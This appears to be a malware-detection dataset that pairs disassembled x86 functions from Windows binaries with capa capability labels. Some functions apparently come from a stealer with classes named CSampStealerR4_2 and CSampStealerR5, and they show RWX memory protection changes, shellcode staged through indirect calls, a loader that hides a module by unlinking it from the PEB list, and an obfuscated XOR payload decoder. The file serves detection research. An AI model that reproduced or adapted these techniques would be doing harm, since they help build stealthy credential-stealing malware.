joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009a7f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001011c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x10010968]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001092c]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x10010950]
mov ecx, 0x34620
mov dword [ebp - 0xc], eax
mov eax, dword [0x10010964]
mov dword [edi], vtable.CSampStealerR4_2.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26e9fc
mov dword [esi + 0x10], 0x141ba0
mov dword [esi + 0x14], 0x26e9c8
mov dword [esi + 0x18], 0x70667
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], eax
call ebx
add eax, 4
mov dword [esp], 0x10010630
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
pop ecx
pop ecx
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR4_2
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x10009bf3
inc edx
cmp edx, 0x17
jne 0x10009b49
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009b7d
cmp dword [esi + 0x48], eax
je 0x10009b7d
cmp dword [esi + 0x4c], eax
je 0x10009b7d
cmp dword [esi + 0x54], eax
jne 0x10009bae
mov eax, dword [edi + 0x26ea0c]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26e9c8]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26e9fc]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009b67
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [0x10010928]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.1000a3c4
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.100089c4
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR4_2_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x10009dd7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001011c]
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
push esi
mov esi, dword [0x10010968]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001092c]
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [0x10010950]
mov ecx, 0x34620
mov dword [ebp - 0xc], eax
mov eax, dword [0x10010964]
mov dword [edi], vtable.CSampStealerR5.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26eb84
mov dword [esi + 0x10], 0x141d28
mov dword [esi + 0x14], 0x26eb50
mov dword [esi + 0x18], 0x70604
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], eax
call ebx
add eax, 4
mov dword [esp], 0x10010630
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_type_info_name]
pop ecx
pop ecx
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR5
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x10009f4b
inc edx
cmp edx, 0x15
jne 0x10009ea1
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009ed5
cmp dword [esi + 0x48], eax
je 0x10009ed5
cmp dword [esi + 0x4c], eax
je 0x10009ed5
cmp dword [esi + 0x54], eax
jne 0x10009f06
mov eax, dword [edi + 0x26eb94]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26eb50]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26eb84]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009ebf
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [0x10010928]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.1000a3c4
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.100089c4
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR5_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x1000a0f7
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
mov ecx, dword [0x10010934]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov edx, dword [eax]
jmp 0x1000a11c
test edx, edx
je 0x1000a17a
cmp dword [edx + 0x18], ecx
je 0x1000a122
mov edx, dword [edx]
cmp edx, eax
jne 0x1000a111
leave
ret
mov dword [0x1001090c], ecx
mov ecx, dword [edx + 4]
mov dword [0x1001091c], edx
mov eax, dword [ecx]
mov dword [0x10010910], eax
mov eax, dword [edx + 0x14]
mov eax, dword [eax]
mov dword [0x10010918], eax
mov eax, dword [edx + 0xc]
mov eax, dword [eax]
mov dword [0x10010914], eax
mov eax, dword [edx]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0x14]
mov eax, dword [edx + 0x10]
mov dword [ecx], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0xc]
mov eax, dword [edx + 8]
mov dword [ecx], eax
leave
ret

Function at 0x1000a675
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea edi, [ecx + 0xd]
xor ebx, ebx
mov edx, edi
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1000a686
sub edx, esi
je 0x1000a6d3
push 0xfffffffffffffff3
pop eax
sub eax, ecx
mov esi, edi
mov dword [ebp - 4], eax
movsx eax, byte [esi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
pop ecx
test eax, eax
jne 0x1000a6bb
mov al, byte [esi]
cmp al, 0x5f
je 0x1000a6bb
cmp al, 0xc0
jl 0x1000a6b8
cmp al, 0xff
jle 0x1000a6bb
xor ebx, ebx
inc ebx
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000a6c1
mov eax, dword [ebp - 4]
sub ecx, edx
add eax, esi
cmp eax, ecx
jb 0x1000a69b
mov ecx, dword [0x10010908]
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp byte [eax + 0xd], 0
jne 0x1000a6e7
xor ebx, ebx
inc ebx
test ebx, ebx
je 0x1000a739
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ebx, dword [sym.imp.VCRUNTIME140.dll_strstr]
mov esi, eax
push 0x1000e170
push esi
call ebx
pop ecx
pop ecx
test eax, eax
je 0x1000a739
push 0x1000e170
push esi
call ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll_strchr]
push 0x20
lea esi, [eax + 3]
push esi
call ebx
add esp, 0x10
test eax, eax
je 0x1000a739
push 0x19
push esi
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x20
push edi
call ebx
add esp, 0x14
mov byte [eax], 0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a73e
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [sym.imp.VCRUNTIME140.dll_strstr]
mov ebx, 0x1000e174
mov esi, eax
push ebx
push esi
call edi
pop ecx
pop ecx
test eax, eax
je 0x1000a79f
push ebx
push esi
call edi
push 0x20
lea ebx, [eax + 3]
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strchr]
add esp, 0x10
test eax, eax
je 0x1000a79f
push 0x20
call fcn.1000be3b
push 0x20
push ebx
push eax
mov dword [0x10010928], eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x20
push dword [0x10010928]
call dword [sym.imp.VCRUNTIME140.dll_strchr]
add esp, 0x18
mov byte [eax], 0
mov ebx, 0x1000e178
push ebx
push esi
call edi
pop ecx
pop ecx
test eax, eax
je 0x1000a7c4
push ebx
push esi
call edi
add eax, 3
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 0xc
mov dword [0x10010120], eax
pop edi
pop esi
pop ebx
ret
Function at 0x1000b598
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0xc], 1
jne 0x1000b61c
mov eax, dword [ebp + 8]
mov dword [0x10010934], eax
push str.ashot_st
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0x10010924], eax
cmp dword [0x10010924], 0
jne 0x1000b61c
push str.ashot_st
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10010924], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10010900], eax
push str.ws2_32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x100108fc], eax
mov byte [0x100108cf], 1
xor eax, eax
mov byte [ebp - 1], al
mov dword [ebp - 8], 0x1000b7b3
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
cmp dword [ebp + 0xc], 5
jne 0x1000b645
push dword [0x10010934]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call fcn.1000b7c2
push 0
push 0
push 0x1000acea
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
xor eax, eax
inc eax
leave
ret 0xc
Function at 0x4b9cd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x81000]
push edi
jmp 0x4b9cea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b9cf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9ce0
mov eax, 1
add ebx, ebx
jne 0x4b9d03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b9d14
jne 0x4b9d33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9d33
dec eax
add ebx, ebx
jne 0x4b9d20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b9cf8
add ebx, ebx
jne 0x4b9d2f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b9d85
xor ecx, ecx
sub eax, 3
jb 0x4b9d4b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b9dba
sar eax, 1
mov ebp, eax
jmp 0x4b9d56
add ebx, ebx
jne 0x4b9d56
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9d24
inc ecx
add ebx, ebx
jne 0x4b9d64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9d24
add ebx, ebx
jne 0x4b9d71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b9d66
jne 0x4b9d82
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b9d66
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b9da4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b9d96
jmp 0x4b9ce6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b9da4
add edi, ecx
jmp 0x4b9ce6
pop esi
mov edi, esi
mov ecx, 0x2cc0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b9dc2
cmp byte [edi], 0x1a
jne 0x4b9dc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b9dc7
lea edi, [esi + 0xb6000]
mov eax, dword [edi]
or eax, eax
je 0x4b9e3f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe0014]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe012c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b9df4
mov ecx, edi
jns 0x4b9e23
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe0130]
or eax, eax
je 0x4b9e39
mov dword [ebx], eax
add ebx, 4
jmp 0x4b9e11
call dword [esi + 0xe0140]
mov ebp, dword [esi + 0xe0134]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b9e73
sub esp, 0xffffff80
jmp 0x454d3d
Function at 0x1000196b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x224
mov eax, dword [0x10020070]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov ecx, dword [ebp + 8]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0xc], ebx
mov eax, dword [edi + 4]
or eax, 0x2001f
mov dword [esp + 0x10], ebx
push eax
push ecx
push dword [edi]
lea ecx, [esp + 0x18]
mov dword [esp + 0x20], ebx
call fcn.10002b68
mov esi, eax
test esi, esi
je 0x100019d1
cmp dword [esp + 0xc], ebx
je 0x100019ca
push dword [esp + 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, esi
jmp 0x10001a60
lea eax, [esp + 0x20]
push eax
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ebx
mov ebx, dword [sym.imp.advapi32.dll_RegEnumKeyExW]
jmp 0x10001a15
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.10002b68
mov esi, eax
test esi, esi
jne 0x10001a77
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x28]
mov dword [esp + 0x38], 0x100
call ebx
test eax, eax
je 0x100019ec
cmp dword [esp + 0xc], 0
mov esi, dword [sym.imp.advapi32.dll_RegCloseKey]
je 0x10001a3f
push dword [esp + 0xc]
call esi
and dword [esp + 0xc], 0
push dword [esp + 0x1c]
and dword [esp + 0x14], 0
mov ecx, edi
call fcn.10002b68
cmp dword [esp + 0xc], 0
mov edi, eax
je 0x10001a5e
push dword [esp + 0xc]
call esi
mov eax, edi
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100144e6
mov esp, ebp
pop ebp
ret 4
cmp dword [esp + 0xc], 0
jmp 0x100019be
Function at 0x10001d90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x10015da0
call fcn.10014f77
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x10001e0d
push 2
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x10001e0d
call fcn.1000143d
mov esi, eax
jmp 0x10001f1d
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x10001e30
call fcn.1000143d
jmp 0x10001f10
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x10001e26
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x420], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x10001e63
mov esi, 0x8007000e
jmp 0x10001f12
push 2
push eax
lea eax, [ebp - 0x41c]
mov byte [ebp - 4], 2
push eax
call fcn.10002b68
test eax, eax
js 0x10001f4b
cmp dword [ebp - 0x41c], 0x400
jbe 0x10001eb3
push dword [ebp - 0x41c]
lea ecx, [ebp - 0x418]
call fcn.10002b68
jmp 0x10001ebf
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10001e59
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x428]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10001e26
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.10002b68
mov esi, eax
test edi, edi
je 0x10001f1d
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10001f36
lea ecx, [ebp - 0x418]
call fcn.10004b7b
lea ecx, [ebp - 0x42c]
call fcn.10004751
mov eax, esi
call fcn.10014ec8
ret 0x10
push eax
call fcn.10002b68
int3
Function at 0x10002b68
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10002b77
pop dword [ebp - 0x24]
mov eax, 0x10002b77
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xcb947046
sub dword [ebp - 0x34], 0x7d422afb
mov dword [ebp - 0x30], 0x83d857e3
sub dword [ebp - 0x30], 0x51a50b9e
mov dword [ebp - 0x2c], 0x80859ec9
sub dword [ebp - 0x2c], 0x34395a9b
mov dword [ebp - 0x28], 0x4e2e6736
sub dword [ebp - 0x28], 0x4e2e6736
lea eax, [ebp - 0x34]
push eax
mov eax, 0x9d7db978
sub eax, 0x8d7c38c4
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x3121500e
add dword [ebp - 0x34], 0x43511948
mov dword [ebp - 0x30], 0x6739d0ba
sub dword [ebp - 0x30], 0x25cd6f45
mov dword [ebp - 0x2c], 0xb7b58883
sub dword [ebp - 0x2c], 0x54461c17
mov dword [ebp - 0x28], 0xcb2687ee
sub dword [ebp - 0x28], 0xcb2687ee
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x41084
push 0
call eax
mov ecx, 0xd63a051c
add ecx, 0x29c6583a
xor ebx, ebx
add ebx, eax
mov edx, 0xb7faf2e8
sub edx, 0xa7f880e8
add edx, dword [ebp - 0x24]
mov edi, 0x2a4b5d27
sub edi, 0x6961af05
xor dword [ebp - 0x14], 0x80ac833d
mov esi, dword [edx]
xor dword [ebp - 8], esi
add esi, edi
sub dword [ebp - 0x14], 0xb139ecc2
mov dword [ebx], esi
add dword [ebp - 0x1c], eax
add ebx, 0x57535e27
add ebx, 0xa8aca1dd
add edx, 4
loop 0x10002c91
add eax, 0x1254ac5c
add eax, 0xedacbbcf
xor ebx, ebx
add ebx, eax
add eax, 0xf36e7281
sub eax, 0xf36e727c
mov ecx, 0xf7ae1184
add ecx, 0x1851ee7c
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x1000a3b5
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x1000a50c
mov edx, 0x10000000
cmp eax, 0x7c
je 0x1000a50c
cmp eax, 0x29
jne 0x1000a3f2
cmp dword [esi + 0x10], 0
jne 0x1000a50c
cmp eax, eax
jne 0x1000a3f2
test dword [esi + 0x50], edx
je 0x1000a512
cmp eax, 0x2e
jne 0x1000a40d
push 5
lea ecx, [esi + 0x24]
call fcn.10002b68
mov ecx, esi
call fcn.1000a38c
jmp 0x1000a4f6
cmp eax, 0x5c
jne 0x1000a462
mov ecx, esi
call fcn.1000a38c
test byte [esi + 0x50], 0x80
je 0x1000a456
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x1000a43e
push 4
lea ecx, [esi + 0x24]
call fcn.10002b68
mov ecx, esi
call fcn.1000a38c
jmp 0x1000a4fd
cmp eax, 0x42
jne 0x1000a456
push 4
lea ecx, [esi + 0x24]
call fcn.10002b68
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x1000a432
mov ecx, esi
call fcn.10002b68
jmp 0x1000a4f6
cmp eax, 0x5b
jne 0x1000a482
mov ecx, esi
call fcn.1000a38c
mov ecx, esi
call fcn.1000b140
cmp dword [esi + 0x4c], 0x5d
je 0x1000a401
push 4
jmp 0x1000a514
cmp eax, 0x28
jne 0x1000a49f
mov ecx, esi
call fcn.1000a38c
mov ecx, esi
call fcn.1000b279
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x1000a512
jmp 0x1000a4eb
cmp eax, 0x5e
jne 0x1000a4a8
push 2
jmp 0x1000a42a
cmp eax, 0x24
jne 0x1000a4b4
push 3
jmp 0x1000a42a
cmp eax, 0x2a
je 0x1000a508
cmp eax, 0x2b
je 0x1000a508
cmp eax, 0x3f
je 0x1000a508
cmp eax, 0x7b
je 0x1000a508
cmp eax, 0x7d
jne 0x1000a4d2
test dword [esi + 0x50], edx
je 0x1000a504
cmp eax, 0x5d
jne 0x1000a4dc
test dword [esi + 0x50], edx
je 0x1000a47b
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.10002b68
mov bl, 1
mov ecx, esi
call fcn.1000a38c
test bl, bl
je 0x1000a4fd
mov ecx, esi
call fcn.10002b68
mov cl, 1
jmp 0x1000a3bc
push 6
jmp 0x1000a514
push 0xa
jmp 0x1000a514
pop esi
mov al, cl
pop ebx
pop ecx
ret
push 5
call fcn.10002b68
int3

Function at 0x1000d464
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push esi
push edi
mov edi, dword [ebp + 8]
sub ecx, edi
sar ecx, 1
push 0
pop esi
add ecx, ecx
je 0x1000d490
movzx eax, byte [esi + edi]
xor eax, edx
imul edx, eax, 0x1000193
inc esi
cmp esi, ecx
jb 0x1000d47f
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x458e70
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x28
call fcn.0049eb9c
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xa
rep stosd dword es:[edi], eax
mov dword [ebx], 0x7e4074
push ebx
add ebx, 0x10
push ebx
push 8
call fcn.0049eb9c
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x7e0291
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
pop ebx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push dword [ebp + 8]
mov eax, 0x7e0da8
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x458ef8
push ebx
call fcn.0049eb96
add esp, 4
mov eax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.66_Safari_537.36
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
mov eax, str.user_agent
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x458f2e
push ebx
call fcn.0049eb96
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x458f3e
push ebx
call fcn.0049eb96
add esp, 4
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x2c]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x458f69
push ebx
call fcn.0049eb96
add esp, 4
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x58]
mov word [ebp - 8], ax
cmp word [ebp - 8], 0xc8
jne 0x458fb7
push 1
push 1
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x458fb3
push ebx
call fcn.0049eb96
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x458fe1
push eax
mov ebx, eax
call fcn.004010db
inc eax
push eax
call fcn.0049eb9c
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x458fe6
push eax
mov ebx, dword [ebp - 4]
push ebx
mov eax, dword [ebx]
call dword [eax]
call fcn.0049eb96
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x459007
push ebx
call fcn.0049eb96
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4